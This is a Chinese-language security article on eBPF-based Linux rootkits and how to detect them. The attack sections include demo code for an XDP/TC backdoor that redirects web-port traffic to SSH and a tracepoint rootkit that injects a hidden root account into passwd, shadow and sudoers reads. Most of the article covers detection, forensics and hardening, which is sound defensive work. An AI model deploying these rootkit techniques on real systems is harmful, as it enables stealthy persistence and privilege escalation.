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Linux中基于eBPF的恶意利用与检测机制（rootkit、驱动）

發布時間：2025/3/15 linux 47 豆豆

生活随笔收集整理的這篇文章主要介紹了 Linux中基于eBPF的恶意利用与检测机制（rootkit、驱动）小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

現狀分析

海外資料

國內資料

eBPF技術惡意利用的攻擊原理

網絡層惡意利用

Linux系統運行時惡意利用

綜述

檢測防御??

運行前?

運行時

運行后

防御?

工程實現??

系統兼容性 CO-RE

大型項目

總結

文末鏈接?

參考資料

前言

近幾年來，云原生領域飛速發展，k8s成為公認的云操作系統。容器的高頻率部署、短暫的生命周期、復雜的網絡路由，都給內核帶來了新的挑戰。系統內核在面對復雜性不斷增長，性能、可擴展性新需求的同時，還需要保障系統穩定可用，這是極其困難的事情。

eBPF出現，以較小的子系統改動，保障了系統內核的穩定。具備實時動態加載的特性，將業務邏輯加載到內核，實現熱更新的動態執行。eBPF技術的出現，衍生新業務場景的同時，也帶來了安全威脅。

現狀分析

在解決很多技術難題的同時，eBPF技術的出現也帶來了新的惡意利用，從一些海外資料和國內資料中可以看到，目前關于eBPF技術惡意利用的現狀如下所示：

海外資料

· Black Hat

在Black Hat 2021的峰會中，Datadog工程師Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》[文末鏈接-1]介紹了eBPF的惡意利用，如何構建一個rootkit，入侵者會如何利用。并把代碼放在https://github.com/Gui774ume/ebpfkit（很NB的代碼）上，包括檢測防御代碼。

DEF CON

在DEF CON29峰會上，安全研究員Pat Hogan也分享了一篇關于eBPF的惡意利用案例：《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》[文末鏈接-2]?，介紹了eBFP rootkit的應用場景，包括網絡、運行時等，以及如何檢測eBPF的惡意利用等。代碼在https://github.com/pathtofile/bad-bpf 。

國內資料

國內在eBPF惡意利用的資料較少，相關技術分享也少，它的危害沒有得到國內同行的注意，勢必影響到國內公司在網絡安全防御體系的建設，導致落后于國外，給企業安全甚至國家安全帶來較大風險。筆者作為防御體系建設方，有責任帶領大家更好的認識這種惡意利用，分享檢測防御經驗，加固網絡安全產品，為國內信息安全建設貢獻一份力。

eBPF技術惡意利用的攻擊原理

知己知彼才能百戰不殆，要想做好防御，必須要了解他的攻擊原理，我們一起來看下他的rootkit是如何設計的，功能有哪些？

從eBPF的功能來看，提供了

網絡
監控
觀測
跟蹤&性能分析
安全

等幾個領域功能。在網絡領域，Cilium等云原生公司做了很多網絡層的產品，在實現網格管理的同時，也做了響應的網絡層面安全策略，尤其是網絡編排領域，表現尤為亮眼，逐步代替iptables等產品，大有一統江山的趨勢。在監控、觀測等領域也有很多產品。尤其是運行時安全領域，Datadog 、Falco、Google等公司，都推出了相應的產品。筆者在博客上也有過相關產品源碼分析的分享。

我們回顧一下eBPF技術的hook點：

從圖中可以看出，eBPF的hook點功能包括以下幾部分：

可以在Storage、Network等與內核交互之前

也可以在內核中的功能模塊交互之間

又可以在內核態與用戶態交互之間

更可以在用戶態進程空間

eBPF的功能覆蓋XDP、TC、probe、socket等，每個功能點都能實現內核態的篡改行為，從而使得用戶態完全致盲，哪怕是基于內核模塊的HIDS，一樣無法感知這些行為。

筆者基于eBPF的功能函數，從業務場景來看，網絡、監控、觀測類的功能促進了云原生領域的產品發展；跟蹤/性能分析、安全類功能，加快了安全防御、審計類產品演進；而安全領域的惡意利用，也會成為黑客關注的方向。在這里，筆者與大家探討一下新的威脅與防御思路：

從數據流所處階段來看，筆者劃分為兩部分，接下來一起來討論惡意利用、風險危害與防御思路。

Linux網絡層惡意利用

Linux系統運行時惡意利用

網絡層惡意利用

以一個SSH、WEB服務的服務器為例，在IDC常見網絡訪問策略中，開放公網web 80端口允許任意來源的IP訪問。而SSH服務只允許特定IP，或者只開放內網端口訪問。

假設這臺服務器已經被黑客入侵，黑客需要留下一個后門，且需要一個隱藏、可靠的網絡鏈路作為后門通道，那么在eBPF技術上，會如何實現呢？

·?XDP/TC層修改TCP包

為了讓后門隱藏的更好，最好是不開進程，不監聽端口（當前部分我們只討論網絡層隱藏）。而eBPF技術在XDP、TC、socket等內核層的功能，能夠實現流量信息修改，這些功能常被應用在L3、L4的網絡負載均衡上。比如cilium的網絡策略都是基于eBPF XDP實現。eBPF hook了XDP點后，更改了TCP包的目標IP，系統內核再將該數據包轉發出去。按照XDP與TC在Linux內核中，處理ingress與egress的位置，可以更準確地確定hook點。

XDP的BPF_PROG_TYPE_XDP程序類型，可以丟棄、修改、重傳來自ingress的流量，但無法對egress起作用。TC的BPF_PROG_TYPE_SCHED_CLS除了擁有XDP BPF_PROG_TYPE_XDP的功能外，還可以對egress起作用。

前者最常用的場景就是做網絡防火墻，用于網絡流量清洗，效率比傳統防火墻的高很多。后者常用于云原生場景下，容器、POD的網絡監控、安全訪問控制等。在這個例子中，要多進出流量都做調整，故兩個hook點都需要有。同樣，在XDP等階段的hook，在這里做相關包邏輯處理，能更好的將通訊包隱藏，tcpdump等工具都抓不到。

控制鏈路

在后門場景里，可以在同樣的位置，像eBPF的負載均衡一樣，修改目標端口，從web nginx 的80改為SSHD的22，就可以實現網絡數據的透傳，繞開防火墻以及網絡訪問限制。

認證密鑰

由于后門rootkit是在XDP\TC層工作，為了盡可能的簡單，認證密鑰最好只使用鏈路層、網絡層、傳輸層的數據，即MAC信息、IP五元組之類。IP經常變動，MAC地址大概率是唯一的，以及設定一個固定的端口，這樣更加唯一，作為rootkit的認證密鑰即可實現。（需要client發起連接時，指定客戶端的TCP端口）

eBPF uprobe與eBPF map聯動

對于后門rootkit的密鑰更新，利用eBPF也很好實現。比如，在nginx的場景中，uprobe實現hook http的函數，獲取url參數中特定字符串，再將字符串保存到eBPF map里，就實現了密鑰更新。

XDP/TC層的eBPF rootkit執行時，讀取eBPF map里的密鑰，進行比較運算。

·?實現流程

舉個XDP處理ingress的例子：

SEC("xdp/ingress") int xdp_ingress(struct xdp_md *ctx) { struct cursor c; struct pkt_ctx_t pkt;//判斷是否為SSHD的協議，不是則直接放行 if (!(不是SSHD協議(&c))) {return XDP_PASS; }//判斷rootkit是否匹配，網卡信息與來源端口是否匹配 hack_mac[] = "讀取bpf map配置。" if(密鑰不匹配) {return XDP_PASS; }// 讀取map，是否已經存在該client信息 struct netinfo client_key = {}; __builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);struct netinfo *client_value; client_value = bpf_map_lookup_elem(&ingress_client, &client_key);// 如果沒找到偽裝信息，則自己組裝 if(!client_value) {__builtin_memset(&client_value, 0, sizeof(client_value)); } else {bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY); }// 偽裝mac局域網mac信息 pkt.eth->h_source[0] = 0x00; ...// 替換偽裝ip來源，客戶端端口不變// 更改目標端口 pkt.tcp->dest = htons(FACK_PORT); //22//計算TCP SUM layer 4 ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum); pkt.tcp->check = csum;//寫入已偽裝的map，用于TC處理egress的原mac、IP信息還原。return XDP_PASS; }

比較簡單的demo，即可實現 ingtrss側TCP數據包的偽裝。同樣，TC層處理egress方向的數據包時，只需要對偽裝包的原始信息作還原即可。整個流程如下圖：

這樣，rootkit的通訊鏈路并不影響正常用戶訪問，也沒有對原系統做改動，隱蔽性特別好。

·?視頻演示

筆者準備了三臺主機測試：

入侵者：cnxct-mt2，IP為172.16.71.1。

普通用戶：vmubuntu，IP為172.16.71.3。

被入侵服務器：vm-server，IP為172.16.71.4。開放nginx web 80端口；開放SSHD 22端口，并設定iptables規則只允許內網IP訪問。

騰訊視頻https://v.qq.com/x/page/x3324tskmwm.html

· 危害

這個rootkit不主動創建socket，借用其中一個網絡發送包，把消息送達給后門使用者。對系統影響來說，只是一個不起眼的小網絡響應。在萬千HTTP包里，根本定位不到。

iptables防火墻繞過：利用對外開放的80端口作為通訊隧道；

webIDS繞過：流量到達服務器后，并不傳遞給nginx；

NIDS繞過：入侵者流量在局域網之間流傳并無異常，只是無法解密；

HIDS繞過：是否信任了防火墻，忽略了本機/局域網來源的SSHD登錄？

Linux系統運行時惡意利用

云原生生態下，涌現大批基于eBPF技術實現的集群網絡管理插件，比如Calico、cilium等。而業務實現網絡管理服務是以容器化方式部署，且有需要給這些容器啟用SYS_BPF_ADMIN權限以支持eBPF系統調用。這些服務的運行環境，也給攻擊者留下一個完美的發揮空間。

· 實現流程

回顧eBPF的hook點，作用在syscall的kprobe、tracepoint事件類型，倘若用在后門rootkit場景，是十分可怕的。比如，修改內核態返回給用戶態的數據，攔截阻斷用戶態行為等為所欲為。而更可怕的是，常見的HIDS都是基于內核態或者用戶態做行為監控，這恰恰就繞開了大部分HIDS的監控，且不產生任何日志，簡直細思極恐、不寒而栗。

tracepoint事件類型hook

在SSHD應用中，當用戶登錄時，會讀取/etc/passwd等文件。用戶態sshd程序，調用open、read等系統調用，讓內核去硬件磁盤上檢索數據，再返回數據給sshd進程。

用戶態生成payload

用戶態實現/etc/passwd、/etc/shadown等文件payload的生成，并通過eBPF的RewriteConstants機制，完成對elf .rodata的字段值替換。

import "github.com/ehids/ebpfmanager"// 通過elf的常量替換方式傳遞數據 func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {var username = RandString(9)var password = RandString(9)var s = RandString(8)salt := []byte(fmt.Sprintf("$6$%s", s))// use salt to hash user-supplied passwordc := sha512_crypt.New()hash, err := c.Generate([]byte(password), salt)var m = map[string]interface{}{}res := make([]byte, PAYLOAD_LEN)var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)copy(res, payload)m["payload"] = resm["payload_len"] = uint32(len(payload))// 生成passwd字符串var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username)// 生成shadow字符串var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash)// eBPF RewriteContantsvar editor = []manager.ConstantEditor{{Name: "payload",Value: m["payload"],FailOnMissing: true,},{Name: "payload_len",Value: m["payload_len"],FailOnMissing: true,},}return editor }func (this *MBPFContainerEscape) setupManagers() {this.bpfManager = &manager.Manager{Probes: []*manager.Probe{{Section: "tracepoint/syscalls/sys_enter_openat",EbpfFuncName: "handle_openat_enter",AttachToFuncName: "sys_enter_openat",},...},Maps: []*manager.Map{{Name: "events",},},}this.bpfManagerOptions = manager.Options{...// 填充 RewriteContants 對應mapConstantEditors: this.constantEditor(),} }

內核態使用payload

const volatile int payload_len = 0; ... const volatile char payload_shadow[MAX_PAYLOAD_LEN];SEC("tracepoint/syscalls/sys_exit_read") int handle_read_exit(struct trace_event_raw_sys_exit *ctx) {// 判斷是否為rootkit行為，是否需要加載payload...long int read_size = ctx->ret;// 判斷原buff長度是否小于payloadif (read_size < payload_len) {return 0;}// 判斷文件類型，匹配追加相應payloadswitch (pbuff_addr->file_type){case FILE_TYPE_PASSWD:// 覆蓋payload到buf，不足部分使用原buff內容{bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {if (i >= payload_passwd_len) {local_buff[i] = ' ';}else {local_buff[i] = payload_passwd[i];}}}break;case FILE_TYPE_SHADOW:// 覆蓋 shadow文件...break;case FILE_TYPE_SUDOERS://覆蓋sudoers...break;default:return 0;break;}// 將payload內存寫入到bufferret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);// 發送事件到用戶態return 0; }

按照如上demo rootkit的設計，即完成了隨機用戶名密碼的root賬號添加。在鑒權認證上，也可以配合eBPF網絡層惡意利用的demo，利用eBPF map交互，實現相應鑒權。但rootkit本身并沒有更改硬盤上文件，不產生風險行為。并且，只針對特定進程的做覆蓋，隱蔽性更好。整個流程如下圖：

不管是在物理機上，還是給了root+BPF權限的容器上，都一樣生效。

· 視頻演示

騰訊視頻https://v.qq.com/x/page/e33246j5zi5.html

· 危害

云原生場景下，賦予SYS_ADMIN的權限的容器場景很多，若配合近期的JAVA log4j漏洞，直接擊穿容器，拿到宿主機權限，是不是很可怕？

然而，比這可怕的是這種rootkit本身并沒有產生用戶態行為日志，也沒有改文件，系統里查不到這個用戶信息。整個后門行為不產生數據，讓大部分HIDS失靈。

綜述

從筆者演示的這兩個場景可以來看，大家已經知道eBPF技術被惡意利用的危害。其實，這只是eBPF技術的冰山一角，在kproeb\uprobe上也有很多功能，比如實現進程隱藏，無痕內網掃描等等。相關惡意利用可參考《Bad BPF - Warping reality using eBPF》[文末鏈接-3]一文。

若入侵者精心設計rootkit，實現進程隱藏等，讓rootkit更加隱蔽，按照本文的思路，實現一個幽靈般的后門，想想就讓人后怕。

常規的主機安全防御產品一般用netlink linux kernel module等技術實現進程創建、網絡通訊等行為感知，而eBPF的hook點可以比這些技術更加深，比他們執行更早，意味著常規HIDS并不能感知發現他們。

傳統rootkit，采用hook api方法，替換原來函數，導致執行函數調用地址發生變化，已有成熟檢測機制，eBPF hook不同于傳統rootkit ，函數調用堆棧不變。這給檢測帶來很大的麻煩。

那面對這種后門，該如何檢測防御呢？

檢測防御??

從事件發生的過程來看，分為三個階段：

運行前
運行時
運行后

運行前?

在惡意程序運行前，減少攻擊面，這個思路是更古不變的。

·?環境限制

不管是宿主機還是容器，都進行權限收斂，能不賦予SYS_ADMIN、CAP_BPF等權限，就禁止掉。若一定要開放這個權限，那么只能放到運行時的檢測環節了。

·?seccomp限制?

在容器啟動時，修改默認seccomp.json，禁止bpf系統調用，防止容器逃逸，注意此方法對于Privileged特權容器無效。

·?內核編譯參數限制

修改函數返回值做運行時防護時，需要用到bpf_override_return，該函數需要內核開啟CONFIG_BPF_KPROBE_PVERRIDE編譯參數，因此非特殊情況不要開啟該編譯參數。

·?非特權用戶指令?

大部分eBPF程序類型都需要root權限的用戶才能調用執行。但有幾個例外，比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB這兩個類型，就不需要root。但需要讀取系統配置開關。

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240if (type != BPF_PROG_TYPE_SOCKET_FILTER &&type != BPF_PROG_TYPE_CGROUP_SKB &&!bpf_capable())return -EPERM;

開關確認

在/proc/sys/kernel/unprivileged_bpf_disabled里，可通過執行sysctl kernel.unprivileged_bpf_disabled=1來修改配置。配置含義見Documentation for /proc/sys/kernel/?[文末鏈接-4]

值為0表示允許非特權用戶調用bpf
值為1表示禁止非特權用戶調用bpf且該值不可再修改，只能重啟后修改
值為2表示禁止非特權用戶調用bpf，可以再次修改為0或1

·?特征檢查?

有人提議，在內核加載bpf字節碼時，進行簽名驗證，以便達到只加載安全簽名的bpf字節碼。lwn.net中也列出這個話題：BPF字節碼簽名計劃[文末鏈接-5]。

但很多人也提出反對意見[文末鏈接-6]?，認為bpf模塊這幾年的發展，過于抽象化，越來越復雜，不希望加入額外的功能，讓bpf更加不穩定。而是改變思路，讓字節碼加載時簽名，改為「執行bpf字節碼加載的用戶態程序進行簽名」，這個是已有的內核功能，不會增加系統復雜性。

筆者認為，這確實可以緩解大部分bpf字節碼加載的問題。但使用系統原生命令(tc\ip\bpftool等)加載的話，仍面臨威脅。比如：ip link set dev ens33 xdp obj xdp-example_pass.o

· 運行檢查

大部分eBPF程序在重啟后不存在了，所以，入侵者會盡可能讓后門自啟動。對于linux系統的自啟動、crontab等計劃任務做好檢查。

用戶態程序可以以各種形式存在，ELF可執行文件、ELF so動態鏈接庫都可以。在執行時，必定會調用BPF syscall來加載BPF 字節碼。若只是對可執行ELF做檢測，還不夠準確。

運行時

· 監控?

linux系統中，所有的程序運行，都必須進行系統調用，eBPF程序也不例外。需要調用syscall為321的SYS_BPF指令。

并且，所有的eBPF程序執行、map創建都必須進行這個syscall調用。那么，在這個必經之路進行攔截監控，是最好的方案。

SEC("tracepoint/syscalls/sys_enter_bpf") int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {struct bpf_context_t *bpf_context = make_event();if (!bpf_context)return 0;bpf_context->cmd = args->cmd;get_common_proc(&bpf_context->procinfo);send_event(args, bpf_context);return 0; }

這里，我們開源的ehids項目做了一個bpf syscall檢測的例子，大家可以fork了解。倉庫見https://github.com/ehids/ehids-agent

當然，細心的讀者會有疑問，假如入侵者的后門執行比較早，對這個系統調用進行欺騙，那怎么辦呢？這是個好問題，我們放到運行后的溯源章節討論。但對于大部分場景，HIDS防御產品還是可以做到第一時間啟動的。

·?審計&篩查?

上面我們討論了對bpf系統調用進行監控，在云原生場景中，基于eBPF實現的網絡產品會頻繁調用，會產生大量的事件日志，給運營同學帶來較大壓力。對行為做精簡、做精確篩選就成為接下來的目標。

根據程序白名單篩選

數據過濾，是解決大量數據壓力的方案。在一些BPF應用的業務服務器上，本身業務行為會產生大量調用，會給安全預警帶來較大審計壓力。對于已知的進程，可以根據進程特征過濾。

獲取當前進程PID、COMM等特征，根據用戶態寫入eBPF map的配置，決定是否上報、是否攔截。也可以在用戶態做過濾，但內核態效率更高。如果是做攔截，那必須要在內核態實現。參考saBPF產品設計思路[文末鏈接-8]，用eBPF實現LSM HOOK點的鉤子程序，完成相關審計調用。https://github.com/saBPF-project/sabpf-kernel?項目代碼還只是demo，思路可以借鑒。

·?根據SYSCALL類型篩選?

在BPF syscall里，子命令的功能包含MAP、PROG等多種類型的操作bpf() subcommand reference[文末鏈接-9]里有詳細的讀寫API。在實際的業務場景里，寫的安全風險比讀大。所以，我們可以過濾掉讀操作，只上報、審計寫操作。比如：

MAP的創建BPF_MAP_CREATE
PROG加載BPF_PROG_LOAD
BPF_OBJ_PIN
BPF_PROG_ATTACH
BPF_BTF_LOAD
BPF_MAP_UPDATE_BATCH

尤其是有BPF需求的業務場景，可以更好的審計日志。

運行后

問個問題，eBPF用戶態程序與內核態程序交互，加載bpf字節碼后，能退出嗎？退出后，內核hook的bpf函數還工作嗎？創建的map是否還存在？后門程序為了保證更好的隱蔽性，會如何選擇？

要回答這個問題，不得不提BPF程序的加載機制，BPF對象生命周期。

·?文件描述符與引用計數器?

用戶態程序通過文件描述符FD來訪問BPF對象（progs、maps、調試信息），每個對象都有一個引用計數器。用戶態打開、讀取相應FD，對應計數器會增加。若FD關閉，引用計數器減少，當refcnt為0時，內核會釋放BPF對象，那么這個BPF對象將不在工作。

在安全場景里，用戶態的后門進程若退出后，后門的eBPF程序也隨之退出。在做安全檢查時，這可以作為一個有利特征，查看進程列表中是否包含可疑進程。

但并非所有BPF對象都會隨著用戶態進程退出而退出。從內核原理來看，只需要保證refcnt大于0，就可以讓BPF對象存活，讓后門進程持續工作了。其實在BPF的程序類型中，像XDP、TC和基于CGROUP的鉤子是全局的，不會因為用戶態程序退出而退出。相應FD會由內核維護，保證refcnt計數器不為零，從而繼續工作。

·?溯源?

在安全工程師視角里，就需要根據不同場景作不同的溯源策略。筆者給的溯源方式中，都使用了eBPF的相關接口，意味著，如果惡意程序比檢查工具運行的早，那么對于結果存在偽造的可能。

短生命周期

BPF程序類型代表

k[ret]probe
u[ret]probe
tracepoint
raw_tracepoint
perf_event
socket filters
so_reuseport

特點是基于FD管理，內核自動清理，對系統穩定性更好。這種程序類型的后門，在排查時特征明顯，就是用戶態進程。并且可以通過系統正在運行的BPF程序列表中獲取。

bpftool工具

eBPF程序列表?命令bpftool prog show，以及bpftool prog help查看更多參數。

結果中，可以看到當前系統正在運行的BPF程序、關聯的BPF map ID，以及對應的進程信息等。另外，細心的你可能發現，結果中，XDP數據中并沒有進程ID信息，稍后討論。

eBPF map列表?命令bpftool map show，以及bpftool map help查看更多參數。

通過查看map信息，可以與程序信息作輔助矯正。并且，可以導出map內數據用來識別惡意進程行為。這部分我們在取證章節討論。

bpflist-bpfcc

bpflist-bpfcc -vv命令可以看到當前服務器運行的部分BPF程序列表。以筆者測試環境為例：

root@vmubuntu:/home/cfc4n/project/xdp# bpflist-bpfcc -vv open kprobes:open uprobes:PID COMM TYPE COUNT 1 systemd prog 8 10444 ehids map 4 10444 ehids prog 5

可以看到系統進程systemd啟動了8個prog程序。ehids進程創建了4個eBPF map與5個prog。但實際上前面也執行了ip link set dev ens33 xdp obj xdp-example_pass.o命令，在這里卻沒有顯示出來。意味著這個命令輸出的結果并不是所有bpf程序、map的情況。

長生命周期

BPF程序類型代表

XDP
TC
LWT
CGROUP

上面提到以ip命令加載bpf字節碼的場景，常見BPF工具查詢不到或信息缺失。其背后原因，需要從他的工作原理講起。

ip命令加載bpf原理

BPF對象的生命周期使用引用計時器管理，這一大原則是所有BPF對象都需要遵守的。而長生命周期的程序類型起FD是用戶控件程序傳遞參數給內核空間，之后再由內核空間維持。

以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o為例。IP命令的參數中包含bpf字節碼文件名，IP進程打開.o字節碼的fd，通過NETLINK發IFLA_XDP類型消息（子類型IFLA_XDP_FD）給內核，內核調用dev_change_xdp_fd函數，由網卡接管FD，引用計數器遞增，用戶空間的IP進程退出后，BPF程序依舊工作。內核源碼見：

https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237

筆者做了抓包驗證，IP關聯XDP程序類型：

17:53:22.553708 sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, {{nla_len=20, nla_type=IFLA_XDP}, [{{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}]}},iov_len=52}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 52

可以看到IFLA_XDP_FD后面的FD參數是6。同樣，刪除XDP程序，需要把FD設置為-1，對應NETLINK包構成如下：

17:55:16.306843 sendmsg(3, {...{nla_len=20, nla_type=IFLA_XDP}, [{{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}] }...}, 0) = 52

不止IP命令，TC命令分類器?[文末鏈接-10]?也是支持BPF程序，將BPF程序作為classifiers和 actions加載到 ingress/egress hook點。背后原理與IP類似，也是netlink協議與內核通訊，網卡維持BPF對象計數器。

檢測機制

使用原生IP、TC等命令，查看網卡加載的BPF對象。

ip link show

tc filter show dev [網卡名] [ingress|egress]

使用bpftool命令查看

bpftool net show dev ens33 -p命令可以用于查看網絡相關的eBPF hook點。

CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK類型程序的加載情況都可以通過bpftool prog show查看。長短生命周期的BPF程序區別是缺少用戶空間進程PID信息。如下圖：

BPFFS

除了前面提到的方法外，BPF文件系統BPFFS也是讓BPF程序后臺運行的方式。用戶空間進程可以使用任意名字將BPF程序PIN到BPFFS。讓在BPFFS來自動增加BPF對象的refcnt引用計數器，來保持后臺的活躍狀態。使用時，只需要使用bpf_obj_get(“BPFFS path”)就可以獲得BPF對象的FD。

BPFFS在linux的類型是BPF_FS_MAGIC，默認目錄/sys/fs/bpf/，可自定義修改，但確保文件系統類型是unix.BPF_FS_MAGIC。

檢測思路上，需要關注虛擬文件系統是不是unix.BPF_FS_MAGIC類型。

在linux系統上，mount -t bpf來查看系統所有掛在的文件類型，是否包含BPFFS類型。

確定BPFFS的目錄后，再查看目錄下的掛在點是否存在異常。

·?取證?

內核已加載的BPF對象導出

bpftool工具可以導出有FD ID的PROG、MAP。?BPF PROG程序?可以導出opcode\visual\linum等多種格式，并可以生成調用關系圖。具體可以查看bpftool的幫助文件。

root@vmubuntu:/home/cfc4n# bpftool prog help bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }] bpftool prog dump jited PROG [{ file FILE | opcodes | linum }]

BPF MAP?與PROG類似，也可以通過bpftool導出內容，并支持json格式化內容。

root@vmubuntu:/home/cfc4n# bpftool map dump id 20 [{"value": {".rodata": [{"target_ppid": 0},{"uid": 0},{"payload_len": 38...

BPFFS?BPFFS類型的BPF對象，雖然可以更便捷的放到后臺執行，用戶空間程序可以退出，也可以再次讀取，但這也給取證帶來很大便利。bpftool命令也支持從pinned到BPFFS文件系統的路徑里導出PROG、MAP。參與少有區別，詳情見bpftool help。?

內核未加載的BPF對象

當定位到后門rootkit的用戶空間程序后，那么BPF字節碼肯定會被其調用。字節碼內容一般會放在一個獨立文件中，或者作為字節碼編譯到當前程序里。這也只需要使用IDA之類反編譯工具，定位到相關字節流，導出即可。

以筆者演示視頻中的ehids進程為例，使用https://github.com/ehids/ebpfmanager?純GO的eBPF模塊管理器package，對于eBPF字節碼會使用github.com/shuLhan/go-bindata/cmd/go-bindata包對BPF字節碼進行加載、GZIP壓縮，作為go代碼的變量，在部署時比較邊界。

IDA pro加載時，我們可以在.noptrdata段部分看到這塊代碼，開始地址是0000000000827AE0，導出后再解壓，可以還原原來的BPF ELF文件內容。

因為每個BPF用戶態實現不同，類庫也不一樣，靜態分析實踐起來有難度。那可以模擬相同環境，動態運行，提前HOOK BPF SYSCALL，找到FD設置的地方，也是可以導出BPF的ELF文件。

字節碼分析

BPF字節碼本身也是ELF格式，只是格式指令上有一定區別。反編譯工具IDA pro也能支持，國外安全工程師開源了一個python插件：eBPF IDA Proc?[文末鏈接-11]?，以及整理了一篇分析的文章《Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool 》[文末鏈接-12]，有興趣可以讀讀。

防御?

eBPF在網絡安全場景的使用，除了做入侵檢測外，還是可以用于防御。LSM PROBE HOOK提供了相關功能。以容器逃逸場景為例，行為最明顯的特征是父子進程的namespace不一致，子進程創建完成后，判斷這個特征是否匹配，返回EPERM覆蓋進程創建函數的返回值，從而起到防御的目的。相比內核模塊等防御實現，eBPF實現更加安全、穩定、可靠，從而在源頭上解決容器逃逸的問題。

同樣，筆者認為eBPF也是二進制層最優秀的虛擬補丁、熱更新解決方案。

LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size) {return -EPERM; }

在系統的配置上有一定要求，CONFIG_BPF_LSM=y，CONFIG_LSM配置內容，必須包含bpf等，詳情可參考BCC類庫Demo lsm probe?[文末鏈接-13]?。

工程實現??

練手

入門練手，可以嘗試使用BCC的類庫：https://github.com/iovisor/bcc?，以及C語言用戶空間程序的各種Demo例子Demo BPF applications?[文末鏈接-14]。

類庫選擇

工程化時，對項目質量、穩定性、研發效率等都有要求，推薦cilium的純go eBPF類庫，由cilium官方背書可放心使用。datadog公司的agent產品也是用這個類庫。

筆者的產品也是參考datadog，抽象包裝了cilium的eBPF庫，實現配置化便捷管理eBPF程序。github倉庫：https://github.com/ehids/ebpfmanager?，歡迎使用。

當然，也可以使用libbpf包裝的go類庫實現，比如tracee等產品。

系統兼容性 CO-RE

eBPF的出現極大的簡化了編寫內核態代碼的門檻，極高的安全性，友好的加載方式，高效的數據交互，令eBPF深受追捧。然而和編寫傳統內核模塊相同，內核態的功能開發伴隨著繁冗的適配測試工作，Linux繁多的內核版本更是讓適配這件事難度陡增，這也就是BTF出現之前的很長一段時間里，bcc + clang + llvm被人們詬病的地方。程序在運行的時候，才進行編譯，目標機器還得安裝clang llvm kernel-header等編譯環境，同時編譯也會消耗大量cpu資源，這在某些高負載機器上是不能被接受的。

因此BTF&CO-RE橫空出現，BTF可以理解為一種debug符號描述方式，此前傳統方式debug信息會非常巨大，linux內核一般會關閉debug符號，btf的出現解決了這一問題，大幅度減少debug信息的大小，使得生產場景內核攜帶debug信息成為可能。

可喜的是通過運用這項技術，可以幫助開發者節省大量適配精力，但是這項技術目前還是在開發中，還有許多處理不了的場景，比如結構體成員被遷入子結構體中，這時候還是需要手動解決問題，BTF的開發者也寫了一篇文章，講解不同場景的處理方案bpf-core-reference-guide?[文末鏈接-15]。

大型項目

在國外，云原生領域產品發展較快，涌現出一批批基于eBPF的產品，包括Cilium、Datadog 、Falco、Katran等，應用在網絡編排、網絡防火墻、跟蹤定位、運行時安全等各個領域，可以借鑒這些大型項目的研發經驗，來加快產品建設，包括多系統兼容、框架設計、項目質量、監控體系建設等。本篇以檢測防御為主，工程建設相關經驗我們在以后的文章中分享。

總結

隨著云原生快速發展，eBPF實現軟件、運行環境會越來越多，而eBPF的惡意利用也會越來越普遍。從國內外的情況來看，國外對這個方向的研究遠比國內超前，筆者再次呼吁大家，網絡安全產品應當盡快具備eBPF相關威脅檢測能力。

這里，筆者跟大家探討了基于eBPF技術的惡意利用與檢測機制。在文章之初，提到eBPF在防御檢測產品研發、工程建設等，我們將在下一篇跟大家分享，敬請期待。

文末鏈接?

鏈接-1:https://www.blackhat.com/us-21/briefings/schedule/#with-friends-like-ebpf-who-needs-enemies-23619

鏈接-2:https://defcon.org/html/defcon-29/dc-29-speakers.html#path

鏈接-3：https://blog.tofile.dev/2021/08/01/bad-bpf.html

鏈接-4:https://www.kernel.org/doc/html/latest/admin-guide/sysctl/kernel.html#unprivileged-bpf-disabled

鏈接-5:https://lwn.net/Articles/853489/

鏈接-6:https://lwn.net/Articles/854386/

鏈接-7:https://github.com/ehids/ehids-agent/blob/master/kern/bpf_call_kern.c

鏈接-8:https://github.com/ehids/slide/blob/master/security/2021-Secure_Namespaced_Kernel_Audit_for_Containers.pdf

鏈接-9:https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html

鏈接-10：https://man7.org/linux/man-pages/man8/tc-bpf.8.html

鏈接-11:https://github.com/cylance/eBPF_processor

